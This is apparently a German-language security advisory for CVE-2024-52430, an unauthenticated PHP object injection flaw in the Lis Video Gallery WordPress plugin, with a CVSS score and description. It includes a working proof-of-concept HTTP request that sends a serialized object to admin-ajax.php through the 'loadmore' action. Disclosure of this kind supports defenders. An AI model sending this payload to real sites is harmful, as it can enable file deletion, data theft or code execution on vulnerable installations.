CVE-2024-52430

Lis Video Gallery <= 0.2.1 - Nicht authentifizierte PHP-Objekt-Injektion

Beschreibung

Das Lis Video Gallery Plugin für WordPress ist anfällig für PHP-Objekt-Injektion in Versionen bis einschließlich 0.2.1 über die Deserialisierung von nicht vertrauenswürdigen Eingaben. Dies ermöglicht es nicht authentifizierten Angreifern, ein PHP-Objekt einzuschleusen. In der verwundbaren Software ist keine bekannte POP-Kette vorhanden. Falls eine POP-Kette über ein zusätzliches installiertes Plugin oder Theme auf dem Zielsystem vorhanden ist, könnte dies dem Angreifer ermöglichen, beliebige Dateien zu löschen, sensible Daten auszulesen oder Code auszuführen.

CVE: CVE-2024-52430
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: lis-video-gallery

POC

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

action=loadmore&query=O%3a20%3a%22PHP_Object_Injection%22%3a0%3a%7b%7d&page=1

PHP object injection has occurred.